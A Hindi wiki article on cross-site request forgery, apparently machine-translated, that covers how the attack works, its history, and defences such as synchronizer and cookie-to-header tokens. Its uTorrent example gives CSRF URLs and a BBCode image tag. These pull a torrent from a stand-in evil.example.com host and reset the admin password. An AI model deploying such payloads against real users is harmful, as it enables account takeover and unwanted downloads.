क्रॉस साइट अनुरोध जालसाजी: Difference between revisions

From Vigyanwiki
No edit summary
No edit summary
Line 99: Line 99:
  सेट-कुकी: __Host-csrf_token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; समाप्ति=गुरु, 23-जुलाई-2015 10:25:33 जीएमटी; अधिकतम आयु=31449600; पथ=/; सेमसाइट=लैक्स; सुरक्षित
  सेट-कुकी: __Host-csrf_token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; समाप्ति=गुरु, 23-जुलाई-2015 10:25:33 जीएमटी; अधिकतम आयु=31449600; पथ=/; सेमसाइट=लैक्स; सुरक्षित


* क्लाइंट साइड पर काम करने वाला जावास्क्रिप्ट इसके मूल्य को पढ़ता है और इसे प्रत्येक लेनदेन रिक्वेस्ट के साथ भेजे गए कस्टम [[HTTP हेडर|एचटीटीपी हेडर]] में कॉपी करता है
* क्लाइंट साइड पर काम करने वाला जावास्क्रिप्ट इसके मान को पढ़ता है और इसे प्रत्येक लेनदेन रिक्वेस्ट के साथ भेजे गए कस्टम [[HTTP हेडर|एचटीटीपी हेडर]] में कॉपी करता है


  X-Csrf-टोकन: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  X-Csrf-टोकन: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
Line 105: Line 105:
* सर्वर टोकन की उपस्थिति और अखंडता को मान्य करता है
* सर्वर टोकन की उपस्थिति और अखंडता को मान्य करता है


इस तकनीक की सुरक्षा इस धारणा पर आधारित है कि केवल सर्वर पर एचटीटीपीएस कनेक्शन के क्लाइंट साइड पर चलने वाली जावास्क्रिप्ट जो प्रारंभ में कुकी सेट करती है, कुकी के मूल्य को पढ़ने में सक्षम होगी। किसी दुष्ट फ़ाइल या ईमेल से चलने वाली जावास्क्रिप्ट कस्टम हेडर में कॉपी करने के लिए कुकी मान को सफलतापूर्वक पढ़ने में सक्षम नहीं होनी चाहिए। यहां तक ​​कि भले ही {{mono|csrf-token}} कुकी स्वचालित रूप से दुष्ट रिक्वेस्ट के साथ भेजी जा सकती है, कुकी सेमसाइट नीति के अधीन, सर्वर अभी भी वैध की अपेक्षा करेगा {{mono|X-Csrf-Token}} शीर्ष लेख.
इस तकनीक की सुरक्षा इस धारणा पर आधारित है कि केवल सर्वर पर एचटीटीपीएस कनेक्शन के क्लाइंट साइड पर चलने वाली जावास्क्रिप्ट जो प्रारंभ में कुकी सेट करती है, कुकी के मान को पढ़ने में सक्षम होती है। किसी रोगे फ़ाइल या ईमेल से चलने वाली जावास्क्रिप्ट कस्टम हेडर में कॉपी करने के लिए कुकी मान को सफलतापूर्वक पढ़ने में सक्षम नहीं होनी चाहिए। यहां तक ​​कि तथापि {{mono|csrf-token}} कुकी स्वचालित रूप से रोगे रिक्वेस्ट के साथ भेजी जा सकती है, कुकी सेमसाइट नीति के अधीन, सर्वर अभी भी वैध की अपेक्षा करेगा {{mono|X-Csrf-Token}} शीर्ष लेख.


सीएसआरएफ टोकन स्वयं अद्वितीय और अप्रत्याशित होना चाहिए। इसे यादृच्छिक रूप से उत्पन्न किया जा सकता है, या इसे HMAC का उपयोग करके [[सत्र कुकी|सेशन कुकी]] से प्राप्त किया जा सकता है:
सीएसआरएफ टोकन स्वयं अद्वितीय और अप्रत्याशित होना चाहिए। इसे यादृच्छिक रूप से उत्पन्न किया जा सकता है, या इसे एचएमएसी का उपयोग करके [[सत्र कुकी|सेशन कुकी]] से प्राप्त किया जा सकता है:


  सीएसआरएफ_टोकन = [[एचएमएसी]](सेशन_टोकन, एप्लिकेशन_सीक्रेट)
  सीएसआरएफ_टोकन = [[एचएमएसी]](सेशन_टोकन, एप्लिकेशन_सीक्रेट)
Line 113: Line 113:
सीएसआरएफ टोकन कुकी में [[httpOnly]] फ़्लैग नहीं होना चाहिए, क्योंकि इसे डिज़ाइन द्वारा जावास्क्रिप्ट द्वारा पढ़ने का इरादा है।
सीएसआरएफ टोकन कुकी में [[httpOnly]] फ़्लैग नहीं होना चाहिए, क्योंकि इसे डिज़ाइन द्वारा जावास्क्रिप्ट द्वारा पढ़ने का इरादा है।


यह तकनीक अनेक आधुनिक ढाँचों द्वारा कार्यान्वित की जाती है, जैसे जैंगो (वेब ​​ढाँचा)<ref>{{cite web | url=https://docs.djangoproject.com/en/1.7/ref/contrib/csrf/ | title=क्रॉस साइट अनुरोध जालसाजी संरक्षण| publisher=Django | access-date=2015-01-20 | archive-url=https://web.archive.org/web/20150120134602/https://docs.djangoproject.com/en/1.7/ref/contrib/csrf/ | archive-date=2015-01-20 | url-status=dead }}</ref> और [[AngularJS]].<ref>{{cite web | url=https://docs.angularjs.org/api/ng/service/$http#cross-site-request-forgery-xsrf-protection | title=क्रॉस साइट अनुरोध जालसाजी (XSRF) सुरक्षा| publisher=AngularJS | access-date=2015-01-20}}</ref> क्योंकि टोकन पूरे उपयोगकर्ता सेशन में स्थिर रहता है, यह [[AJAX|एजेएएक्स]]  एप्लिकेशनों के साथ अच्छी तरह से काम करता है, किन्तु वेब एप्लिकेशन में घटनाओं के अनुक्रम को प्रयुक्त नहीं करता है।
'''यह तकनीक अनेक आधुनिक ढाँचों''' द्वारा कार्यान्वित की जाती है, जैसे जैंगो (वेब ​​ढाँचा)<ref>{{cite web | url=https://docs.djangoproject.com/en/1.7/ref/contrib/csrf/ | title=क्रॉस साइट अनुरोध जालसाजी संरक्षण| publisher=Django | access-date=2015-01-20 | archive-url=https://web.archive.org/web/20150120134602/https://docs.djangoproject.com/en/1.7/ref/contrib/csrf/ | archive-date=2015-01-20 | url-status=dead }}</ref> और [[AngularJS]].<ref>{{cite web | url=https://docs.angularjs.org/api/ng/service/$http#cross-site-request-forgery-xsrf-protection | title=क्रॉस साइट अनुरोध जालसाजी (XSRF) सुरक्षा| publisher=AngularJS | access-date=2015-01-20}}</ref> क्योंकि टोकन पूरे उपयोगकर्ता सेशन में स्थिर रहता है, यह [[AJAX|एजेएएक्स]]  एप्लिकेशनों के साथ अच्छी तरह से काम करता है, किन्तु वेब एप्लिकेशन में घटनाओं के अनुक्रम को प्रयुक्त नहीं करता है।


यदि टारगेट वेबसाइट निम्नलिखित तकनीकों में से किसी का उपयोग करके अपनी समान-मूल नीति को अक्षम कर देती है, तो इस तकनीक द्वारा प्रदान की गई सुरक्षा को विफल किया जा सकता है:
यदि टारगेट वेबसाइट निम्नलिखित तकनीकों में से किसी का उपयोग करके अपनी समान-मूल नीति को अक्षम कर देती है, तो इस तकनीक द्वारा प्रदान की गई सुरक्षा को विफल किया जा सकता है:

Revision as of 22:58, 12 August 2023

क्रॉस-साइट रिक्वेस्ट जालसाजी, जिसे वन-क्लिक अटैक या सेशन राइडिंग के रूप में भी जाना जाता है। और इसे संक्षिप्त रूप में सीएसआरएफ (कभी-कभी सी-सर्फ कहा जाता है) या एक्सएसआरएफ कहा जाता है,[1] या वेबसाइट या वेब एप्लिकेशन का प्रकार का मालिसियस एक्सप्लॉइट (कंप्यूटर) है। जहां उपयोगकर्ता (कंप्यूटिंग) से अनधिकृत कमांड सबमिट किए जाते हैं। जिस पर वेब एप्लिकेशन भरोसा करता है।[2] इस प्रकार से ऐसी अनेक विधि हैं। जिनसे कोई मालिसियस वेबसाइट ऐसे आदेश प्रसारित कर सकती है; उदाहरण के लिए, विशेष रूप से तैयार किए गए इमेज टैग्स, छिपे हुए फॉर्म और जावास्क्रिप्ट फ़ेच एक्सएमएलHttpRequests विकल्प या एक्सएमएलHttpRequestss, ये सभी उपयोगकर्ता की कोन्वर्सेसन या नॉलेज के बिना भी कार्य कर सकते हैं। इस प्रकार से क्रॉस साइट स्क्रिप्टिंग (एक्सएसएस) के विपरीत, जो किसी विशेष साइट के लिए उपयोगकर्ता के भरोसे का लाभ उठाता है, सीएसआरएफ उस भरोसे का लाभ उठाता है। जो की साइट उपयोगकर्ता के ब्राउज़र में रखती है।[3] सीएसआरएफ अटैक में, निर्दोष अंतिम उपयोगकर्ता को अटैक्स द्वारा वेब रिक्वेस्ट सबमिट करने के लिए भटकाया जाता है, जिसका उनका इरादा नहीं था। इससे वेबसाइट पर ऐसी क्रियाएँ हो सकती हैं जिनमें इंडवेरटेन्ट क्लाइंट या सर्वर डेटा लीकेज, सेशन स्थिति में परिवर्तन, या अंतिम उपयोगकर्ता के अकाउंट में परिवर्तन सम्मिलित हो सकता है।

इस प्रकार से सीएसआरएफ शब्द का उपयोग सीएसआरएफ अटैक्स के अधीन बचाव में संक्षिप्त नाम के रूप में भी किया जाता है, जैसे कि ऐसी तकनीकें जो ऐसे अटैक्स का परीक्षण करने और रोकने के लिए हेडर डेटा, फॉर्म डेटा या कुकीज़ का उपयोग करती हैं।

विशेषताएँ

सीएसआरएफ अटैक में, अटैक्स का टारगेट निर्दोष विक्टिम को इंडवेरटेन्ट में उस वेबसाइट पर मालिसियस रूप से तैयार किए गए वेब रिक्वेस्ट को सबमिट करने के लिए प्रेरित करना है, जिस तक विक्टिम के पास विशेषाधिकार प्राप्त पहुंच है। इस वेब रिक्वेस्ट को यूआरएल पैरामीटर, कुकीज़ और अन्य डेटा को सम्मिलित करने के लिए तैयार किया जा सकता है। जो रिक्वेस्ट को संसाधित करने वाले वेब सर्वर के लिए सामान्य प्रतीत होते हैं। इस प्रकार से रिस्क में वे वेब एप्लिकेशन हैं, जो विशिष्ट कार्रवाई के लिए उपयोगकर्ता को प्राधिकरण (जैसे पॉपअप पुष्टिकरण के माध्यम से) की आवश्यकता के बिना विश्वसनीय और प्रमाणीकरण उपयोगकर्ताओं से इनपुट के आधार पर कार्य करते हैं। किन्तु उपयोगकर्ता जो उपयोगकर्ता के वेब ब्राउज़र में सेव्ड की गई एचटीटीपी कुकी द्वारा प्रमाणित है, और इंडवेरटेन्ट में उस साइट पर एचटीटीपी रिक्वेस्ट भेज सकता है। जो की उपयोगकर्ता पर भरोसा करती है। और इस तरह अवांछित कार्रवाई का कारण बन सकती है।

किन्तु वेब ब्राउज़र की जनरल प्रॉपर्टी यह है कि वे स्वचालित रूप से और इंविसिबली रूप से उस डोमेन पर भेजे गए किसी भी वेब रिक्वेस्ट में किसी दिए गए डोमेन द्वारा उपयोग की जाने वाली किसी भी कुकीज़ (सेशन कुकीज़ और अन्य सहित) को सम्मिलित करते है। और सीएसआरएफ अटैक्स द्वारा इस प्रॉपर्टी का शोषण किया जाता है। ऐसी स्थिति में जब किसी उपयोगकर्ता को अपने ब्राउज़र के माध्यम से इंडवेरटेन्ट में रिक्वेस्ट सबमिट करने के लिए धोखा दिया जाता है, तो ये स्वचालित रूप से सम्मिलित विक्टिम के अकाउंट में परिवर्तन कुकीज़ वेब सर्वर पर जाली रिक्वेस्ट को वास्तविक दिखने का कारण बनेंगी और यह डेटा लौटाने, सेशन स्थिति में परिवर्तन करने या बनाने सहित कोई भी उचित अनुरोधित कार्रवाई करता है।

अतः सीएसआरएफ अटैक को कार्य करने के लिए, अटैक्स को रेप्रोडयूसिबले वेब रिक्वेस्ट की पहचान करनी करती है, जो टारगेट पेज पर खाता पासवर्ड परिवर्तन जैसी विशिष्ट कार्रवाई निष्पादित करता है। इस प्रकार से ऐसे रिक्वेस्ट की पहचान हो जाने पर, लिंक बनाया जा सकता है जो इस मालिसियस रिक्वेस्ट को उत्पन्न करता है। और उस लिंक को अटैक्स के नियंत्रण में पेज पर एम्बेड किया जा सकता है।[1][4] यह लिंक इस तरह से रखा जा सकता है कि विक्टिम के लिए लिंक पर क्लिक करना भी आवश्यक नहीं है। अतः उदाहरण के लिए, इसे विक्टिम को भेजे गए ईमेल पर एचटीएमएल इमेज टैग्स के अन्दर एम्बेड किया जा सकता है। जो विक्टिम द्वारा अपना ईमेल खोलने पर स्वचालित रूप से लोड हो जाता है। एक बार जब विक्टिम लिंक पर क्लिक कर देता है, तो उनका ब्राउज़र स्वचालित रूप से उस वेबसाइट द्वारा उपयोग की जाने वाली किसी भी कुकीज़ को सम्मिलित कर लेता है। और वेब सर्वर पर रिक्वेस्ट सबमिट कर देता है। किन्तु वेब सर्वर जालसाजी की पहचान करने में सक्षम नहीं होते है। क्योंकि रिक्वेस्ट उस उपयोगकर्ता द्वारा किया गया था। जिसने इस पेज को लॉग इन किया था। और सभी अपेक्षित कुकीज़ सबमिट की थीं।

क्रॉस-साइट रिक्वेस्ट जालसाजी वेब ब्राउज़र के विरुद्ध कन्फ्यूज्ड डिप्टी का उदाहरण है क्योंकि वेब ब्राउज़र को कम विशेषाधिकार प्राप्त अटैक्स द्वारा जाली रिक्वेस्ट सबमिट करने के लिए धोखा दिया जाता है।

इस प्रकार से सीएसआरएफ में सामान्यतः निम्नलिखित विशेषताएं होती हैं:

  • इसमें ऐसी साइटें सम्मिलित हैं जो उपयोगकर्ता की ऑनलाइन आइडेंटिटी पर निर्भर करती हैं।
  • यह उस आइडेंटिटी में साइट के भरोसे का शोषण करता है।
  • यह उपयोगकर्ता के ब्राउज़र को टारगेट साइट पर एचटीटीपी रिक्वेस्ट भेजने के लिए प्रेरित करता है जहां उपयोगकर्ता पहले से ही प्रमाणित है।
  • इसमें एचटीटीपी रिक्वेस्ट सम्मिलित हैं जिनका साइड इफेक्ट (कंप्यूटर साइंस) है।

इतिहास

इस प्रकार से सीएसआरएफ टोकन निर्बलता ज्ञात हैं। और कुछ स्तिथियो में 2001 से उनका शोषण किया गया है।[5] क्योंकि यह उपयोगकर्ता के आईपी एड्रेस से किया जाता है, कुछ वेबसाइट लॉग में सीएसआरएफ का सबूत नहीं हो सकता है।[2] कम से कम सार्वजनिक रूप से, और 2007 तक, शोषण की कम रिपोर्ट की गई है[6] इस प्रकार से कुछ वेल-डॉक्यूमेंटेड इसके उदाहरण थे:

  • 2006 में नेटफ्लिक्स वेबसाइट में सीएसआरएफ के लिए अनेक कमजोरियां थीं, जो अटैक्स को विक्टिम की किराये की कतार में डीवीडी ऐडडिंग, अकाउंट पर शिपिंग एड्रेस परिवर्तन, या पूर्ण रूप से समझौता करने के लिए विक्टिम के लॉगिन क्रेडेंशियल को परिवर्तन जैसे कार्य करने की अनुमति दे सकती थी।[7]
  • आईएनजी डायरेक्ट का ऑनलाइन बैंकिंग वेब एप्लिकेशन सीएसआरएफ अटैक के प्रति संवेदनशील था जो अवैध मनी ट्रान्सफर की अनुमति देता था।[8]
  • लोकप्रिय वीडियो वेबसाइट यूट्यूब भी 2008 में सीएसआरएफ के प्रति संवेदनशील थी और इसने किसी भी अटैक्स को किसी भी उपयोगकर्ता के लगभग सभी कार्यों को करने की अनुमति दी थी।[8]
  • McAfee सिक्योरिटीज भी सीएसआरएफ के प्रति संवेदनशील थी और इसने अटैक्सों को अपनी कंपनी सिस्टम को परिवर्तन की अनुमति दी। इसे न्यु वर्जन में ठीक कर दिया गया है.[9]

अतः 2018 में वेब-इनेबल्ड डिवाइस के विरुद्ध न्यु अटैक किए गए, जिनमें राउटर की डीएनएस सेटिंग्स को परिवर्तन के प्रयास भी सम्मिलित थे। कुछ राउटर निर्माताओं ने सुरक्षा में सुधार के लिए शीघ्रता में फर्मवेयर अपडेट रेलीज़ड किए है, और रिस्क को कम करने के लिए उपयोगकर्ताओं को राउटर सेटिंग्स परिवर्तन की सलाह दी है। इस प्रकार से ''ऑब्वियस सिक्योरिटी रीज़न'' का सिटिंग देते हुए विवरण रेलीज़ड नहीं किया गया है।[10]

उदाहरण

सीएसआरएफ भेद्यता का वर्णन करने वाला राष्ट्रीय भेद्यता डेटाबेस पेज

अटैक्स जो रेप्रोडयूसिबले लिंक फाइंड कर सकते हैं। जो विक्टिम के लॉग इन होने पर टारगेट पेज पर विशिष्ट कार्रवाई निष्पादित करता है, वे ऐसे लिंक को उस पेज पर एम्बेड कर सकते हैं जिसे वे नियंत्रित करते हैं और विक्टिम को इसे खोलने के लिए धोखा दे सकते हैं।[1] इस प्रकार से अटैक्स कर्रिएर लिंक को उस स्थान पर रखा जा सकता है जहां टारगेट साइट (उदाहरण के लिए, चर्चा फ़ोरम) में लॉग इन करते समय विक्टिम के आने की संभावना है, या एचटीएमएल ईमेल बॉडी या अनुलग्नक में भेजा जा सकता है। uTorrent में वास्तविक सीएसआरएफ भेद्यता (CVE-2008-6586) ने इस तथ्य का लाभ उठाया कि इसका वेब कंसोल लोकलहोस्ट :8080 पर पहुंच योग्य है। ने साधारण जीईटी रिक्वेस्ट का उपयोग करके महत्वपूर्ण कार्रवाइयों को निष्पादित करने की अनुमति दी है:

एक .torrent फ़ाइल डाउनलोड को बाध्य करें
http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
UTorrent व्यवस्थापक पासवर्ड बदलें
http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin

फ़ोरम और ईमेल स्पैम पर मालिसियस, स्वचालित-क्रिया वाले एचटीएमएल तत्व इमेज और ऑब्जेक्ट डालकर अटैक प्रारंभ किए गए है, जिससे इन पेज पर जाने वाले ब्राउज़र उन्हें उपयोगकर्ता की अधिक कार्रवाई के बिना स्वचालित रूप से खोल सकते है। इन पेजों को खोलने के साथ ही असुरक्षित utorrent संस्करण चलाने वाले लोग अटैक के प्रति संवेदनशील थे।

इमेज टैग्स का उपयोग करके सीएसआरएफ अटैक प्रायः इंटरनेट फ़ोरम से किए जाते हैं, जहां उपयोगकर्ताओं को इमेजेस पोस्ट करने की अनुमति होती है किन्तु जावास्क्रिप्ट की नहीं, उदाहरण के लिए बीबीसीओडी का उपयोग करना: 

[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]

स्थानीय uTorrent एप्लिकेशन पर अटैक के लिंक तक पहुँचने पर localhost:8080, ब्राउज़र हमेशा उस डोमेन के लिए किसी भी उपस्तिथ एचटीटीपी कुकीज़ को स्वचालित रूप से भेज देगा। वेब ब्राउज़र की यह जनरल प्रॉपर्टी सीएसआरएफ अटैक्स को उनकी टारगेट दुर्बलता का लाभ उठाने और शत्रुतापूर्ण कार्यों को अंजाम देने में सक्षम बनाती है, जब तक कि उपयोगकर्ता अटैक के समय टारगेट वेबसाइट (इस उदाहरण में, स्थानीय uTorrent वेब इंटरफ़ेस) में लॉग इन है।

ऊपर वर्णित uTorrent उदाहरण में, अटैक को इस तथ्य से सुविधाजनक बनाया गया था कि uTorrent के वेब इंटरफ़ेस ने महत्वपूर्ण राज्य-परिवर्तन संचालन (क्रेडेंशियल परिवर्तन, फ़ाइल डाउनलोड इत्यादि) के लिए जीईटी रिक्वेस्ट का उपयोग किया था, जो RFC 2616 स्पष्ट रूप से हतोत्साहित करता है:

विशेष रूप से, यह परंपरा स्थापित की गई है कि जीईटी और एचईएडी विधियों में पुनर्प्राप्ति के अतिरिक्त कोई अन्य कार्रवाई करने का महत्व नहीं होना चाहिए। इन विधियों को "सेफ" माना जाना चाहिए। यह उपयोगकर्ता एजेंटों को अन्य विधियों, जैसे पोस्ट, पुट और डिलीट को एक विशेष विधियों से प्रस्तुत करने की अनुमति देता है, जिससे उपयोगकर्ता को इस तथ्य से अवगत कराया जा सके कि संभवतः असुरक्षित कार्रवाई का अनुरोध किया जा रहा है।

इस धारणा के कारण, वेब फ्रेमवर्क में अनेक उपस्तिथ सीएसआरएफ रोकथाम मेकैनिज़्म्स जीईटी अनुरोधों को कवर नहीं करती है, किन्तु केवल उन एचटीटीपी विधियों पर सुरक्षा प्रयुक्त करेंगे जिनका उद्देश्य स्थान-परिवर्तन करना है।[11]

लॉगिन रिक्वेस्ट फोर्जिंग

एक अटैक्स, अटैक्स के क्रेडेंशियल्स का उपयोग करके विक्टिम को टारगेट वेबसाइट में लॉग इन करने का रिक्वेस्ट कर सकता है; इसे लॉगिन सीएसआरएफ के रूप में जाना जाता है। और लॉगिन सीएसआरएफ विभिन्न नवीन अटैक्स को संभव बनाता है; उदाहरण के लिए, कोई अटैक्स पश्चात अपनी वैध साख के साथ साइट पर लॉग इन कर सकता है और अकाउंट में सेव्ड की गई गतिविधि इतिहास जैसी निजी डेटा देख सकता है। यह अटैक गूगल और याहू के विरुद्ध प्रदर्शित किया गया है[12][13]

एचटीटीपी क्रियाएं और सीएसआरएफ

प्रकार के आधार पर, एचटीटीपी रिक्वेस्ट मेथेड रिक्वेस्ट सीएसआरएफ अटैक्स के प्रति उनकी संवेदनशीलता में भिन्न होती हैं (वेब ​​ब्राउज़र द्वारा उनके प्रबंधन में अंतर के कारण)। इसलिए, किसी अटैक के अधीन सुरक्षात्मक उपाय एचटीटीपी रिक्वेस्ट की विधि पर निर्भर करते हैं।

  • एचटीटीपी जीईटी में सीएसआरएफ शोषण ऊपर वर्णित विधियों का उपयोग करके तुच्छ है, जैसे कि सरल हाइपरलिंक जिसमें परिवर्तन किए गए पैरामीटर होते हैं और स्वचालित रूप से एचटीएमएल तत्व या इमेज और ऑब्जेक्ट द्वारा लोड किया जाता है। चूंकि, एचटीटीपी विनिर्देशन के अनुसार, जीईटी को हाइपरटेक्स्ट ट्रांसफर प्रोटोकॉल या सुरक्षित विधियों के रूप में उपयोग किया जाना चाहिए, अर्थात, एप्लिकेशन में उपयोगकर्ता की स्थिति को महत्वपूर्ण रूप से नहीं परिवर्तन करना चाहिए। ऐसे परिचालनों के लिए जीईटी का उपयोग करने वाले एप्लिकेशनों को एचटीटीपी पोस्ट पर स्विच करना चाहिए या एंटी-सीएसआरएफ सुरक्षा का उपयोग करना चाहिए।
  • सीएसआरएफ के लिए एचटीटीपी पोस्ट भेद्यता उपयोग परिदृश्य पर निर्भर करती है:
    • क्वेरी स्ट्रिंग के रूप में एन्कोड किए गए डेटा के साथ पोस्ट के सरलतम रूप में (field1=value1&field2=value2) सीएसआरएफ अटैक को सरल फॉर्म (एचटीएमएल) का उपयोग करके सरलता से प्रयुक्त किया जाता है और सीएसआरएफ विरोधी उपायों को प्रयुक्त किया जाना चाहिए।
    • यदि डेटा किसी अन्य प्रारूप (जेएसओएन, एक्सएमएल) में भेजा जाता है, तो समान-मूल नीति (एसओपी) और क्रॉस-मूल रिसोर्स शेयरिंग (सीओआरएस) द्वारा रोके गए सीएसआरएफ अटैक्स के साथ एक्सएमएलHttpRequests का उपयोग करके पोस्ट रिक्वेस्ट रेलीज़ड करना मानक विधि है; सरल फॉर्म (एचटीएमएल) का उपयोग करके इच्छानुसार कॉन्टेंट भेजने की तकनीक है: ENCTYPE गुण; ऐसे नकली रिक्वेस्ट को वैध अनुरोधों से अलग किया जा सकता है text/plain कॉन्टेंट प्रकार, किन्तु यदि इसे सर्वर पर प्रयुक्त नहीं किया जाता है, तो सीएसआरएफ निष्पादित किया जा सकता है[14][15]
  • अन्य एचटीटीपी विधियां (पुट, डिलीट आदि) केवल सीएसआरएफ को रोकने वाली समान-मूल नीति (एसओपी) और क्रॉस-साइट रिसोर्स शेयरिंग (सीओआरएस ) के साथ एक्सएमएलHttpRequests का उपयोग करके रेलीज़ड की जा सकती हैं; चूंकि ये उपाय उन वेबसाइटों पर सक्रिय नहीं होंगे जो स्पष्ट रूप से इनका उपयोग अक्षम करते हैं Access-Control-Allow-Origin: * हैडर

सीएसआरएफ के लिए अन्य दृष्टिकोण

इसके अतिरिक्त, जबकि सामान्यतः स्थिर प्रकार के अटैक के रूप में वर्णित किया जाता है, सीएसआरएफ को क्रॉस-साइट स्क्रिप्टिंग अटैक के लिए पेलोड के भाग के रूप में गतिशील रूप से भी बनाया जा सकता है, जैसा कि सैमी (एक्सएसएस) वर्म द्वारा प्रदर्शित किया गया है, या लीक हुई सेशन डेटा से फ्लाई पर बनाया गया है। ऑफसाइट कॉन्टेंट के माध्यम से और मालिसियस यूआरएल के रूप में टारगेट को भेजा जाता है। सेशन फिक्सेशन या अन्य दुर्बलता के कारण किसी अटैक्स द्वारा सीएसआरएफ टोकन भी क्लाइंट को भेजे जा सकते हैं, या ब्रूट-फोर्स अटैक के माध्यम से अनुमान लगाया जा सकता है, जो मालिसियस पेज पर प्रस्तुत किया जाता है जो हजारों असफल रिक्वेस्ट उत्पन्न करता है। डायनामिक सीएसआरएफ के अटैक्स वर्ग, या सेशन-विशिष्ट जालसाजी के लिए प्रति-ग्राहक पेलोड का उपयोग करने का वर्णन किया गया था[16] अतः 2009 में ब्लैकहैट ब्रीफिंग में नाथन हैमील और शॉन मोयर द्वारा किया जाता है,[17] चूंकि वर्गीकरण को अभी भी व्यापक रूप से अपनाया जाना बाकी है।

गतिशील सीएसआरएफ अटैक की रचना के लिए एक नया वेक्टर ओरेन ओफ़र द्वारा जनवरी 2012- "एजेएक्स हैमर - डायनेमिक सीएसआरएफ" में एक स्थानीय ओडब्ल्यूएएसपी चैप्टर की मीटिंग में प्रस्तुत किया गया था ।[18][19]

प्रभाव

सीएसआरएफ टोकन दुर्बलता के लिए सेवेरीटी आव्यूह रेलीज़ड किए गए हैं जिसके परिणामस्वरूप रूट विशेषाधिकारों के साथ रिमोट कोड एक्सेक्यूटिव होता है[20] साथ ही भेद्यता जो रूट सर्टिफिकेट से समझौता कर सकती है, जो पब्लिक कीय को मूलभूत रूप से उंडेरमिने कर देती है।[21]

सीमाएँ

इस प्रकार से क्रॉस-साइट रिक्वेस्ट जालसाजी के सफल होने के लिए अनेक चीजें होनी चाहिए:

  1. अटैक्स को या तो ऐसी साइट को टारगेट बनाना चाहिए जो एचटीटीपी रेफरर की जांच नहीं करती है या किसी ऐसे ब्राउज़र या प्लगइन वाले विक्टिम को टारगेट बनाना चाहिए जो रेफरर स्पूफ़िंग की अनुमति देता है।[22]
  2. अटैक्स को टारगेट साइट पर फ़ॉर्म सबमिशन, या यूआरएल सर्च करना होता है। जिसके दुष्प्रभाव हों, जो कुछ करता हो (उदाहरण के लिए, पैसे ट्रांसफर करता है, या विक्टिम का ई-मेल एड्रेस या पासवर्ड परिवर्तन है)।
  3. अटैक्स को सभी फॉर्म या यूआरएल इनपुट के लिए सही मान निर्धारित करना होगा; यदि उनमें से किसी को भी गुप्त प्रमाणीकरण मान या आईडी की आवश्यकता होती है जिसका अटैक्स अनुमान नहीं लगा सकता है, तो अटैक संभवतः विफल हो जाएगा (जब तक कि अटैक्स अपने अनुमान में अत्यंत लकी न हो)।
  4. जब विक्टिम टारगेट साइट पर लॉग इन हो तो अटैक्स को विक्टिम को मालिसियस कोड वाले वेब पेज पर लुभाना चाहिए।

इस प्रकार से अटैक ब्लाइंड है: अटैक्स यह नहीं देख सकता कि जाली अनुरोधों के जवाब में टारगेट वेबसाइट विक्टिम को क्या भेजती है, जब तक कि वे टारगेट वेबसाइट पर क्रॉस-साइट स्क्रिप्टिंग या अन्य बग का लाभ नहीं उठाते है। इसी तरह, अटैक्स केवल किसी भी लिंक को टारगेट कर सकता है या प्रारंभिक जाली रिक्वेस्ट के पश्चात आने वाले किसी भी फॉर्म को सबमिट कर सकता है यदि वे बाद के लिंक या फॉर्म समान रूप से पूर्वानुमानित होते है। (एक पेज पर अनेक इमेजेस को सम्मिलित करके, या क्लिकों के मध्य देरी प्रारंभ करने के लिए जावास्क्रिप्ट का उपयोग करके अनेक टारगेट का अनुकरण किया जा सकता है।)[23]

रोकथाम

अधिकांश सीएसआरएफ रोकथाम तकनीकें अनुरोधों में अतिरिक्त प्रमाणीकरण डेटा एम्बेड करके कार्य करती हैं। जो वेब एप्लिकेशन को अनधिकृत स्थानों से अनुरोधों का पता लगाने की अनुमति देती है।

सिंक्रोनाइज़र टोकन पैटर्न

सिंक्रोनाइज़र टोकन पैटर्न (एसटीपी) ऐसी तकनीक है। जहां टोकन, प्रत्येक रिक्वेस्ट के लिए गुप्त और अद्वितीय मान, सभी एचटीएमएल रूपों में वेब एप्लिकेशन द्वारा एम्बेड किया जाता है और सर्वर साइड पर सत्यापित किया जाता है। टोकन किसी भी विधि से उत्पन्न किया जा सकता है जो अप्रत्याशितता और विशिष्टता सुनिश्चित करता (उदाहरण के लिए यादृच्छिक बीज की हैश श्रृंखला का उपयोग करना)है। इस प्रकार अटैक्स अपने अनुरोधों को प्रमाणित करने के लिए उनमें सही टोकन डालने में असमर्थ है।[1][24][25]

एचटीएमएल फॉर्म में जैंगो (वेब ​​फ्रेमवर्क) द्वारा निर्धारित एसटीपी का उदाहरण: 

<input type="hidden" name="csrfmiddlewaretoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" />

एसटीपी सबसे अधिक संगत है क्योंकि यह केवल एचटीएमएल पर निर्भर करता है, किन्तु प्रत्येक रिक्वेस्ट पर टोकन की वैधता की जांच से जुड़े बोझ के कारण सर्वर साइड पर कुछ कॉम्प्लेक्सिटी प्रस्तुत करता है। चूंकि टोकन अद्वितीय और अप्रत्याशित है, यह घटनाओं के उचित अनुक्रम को भी प्रयुक्त करता है (उदाहरण के लिए स्क्रीन 1, फिर 2, फिर 3) जो प्रयोज्य समस्या को उत्पन्न करते है (उदाहरण के लिए उपयोगकर्ता अनेक टैब खोलता है)। प्रति रिक्वेस्ट सीएसआरएफ टोकन के अतिरिक्त प्रति सेशन सीएसआरएफ टोकन का उपयोग करके इसमें छूट दी जा सकती है।

कुकी-टू-हेडर टोकन

वेब एप्लिकेशन जो अपने अधिकांश कार्यों के लिए जावास्क्रिप्ट का उपयोग करते हैं, वे निम्नलिखित एंटी-सीएसआरएफ तकनीक का उपयोग कर सकते हैं:

  • किसी संबद्ध सर्वर सेशन के बिना प्रारंभिक विज़िट पर, वेब एप्लिकेशन कुकी सेट करता है। कुकी में सामान्यतः यादृच्छिक टोकन होता है जो वेब सेशन के जीवनकाल तक समान रह सकता है
सेट-कुकी: __Host-csrf_token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; समाप्ति=गुरु, 23-जुलाई-2015 10:25:33 जीएमटी; अधिकतम आयु=31449600; पथ=/; सेमसाइट=लैक्स; सुरक्षित
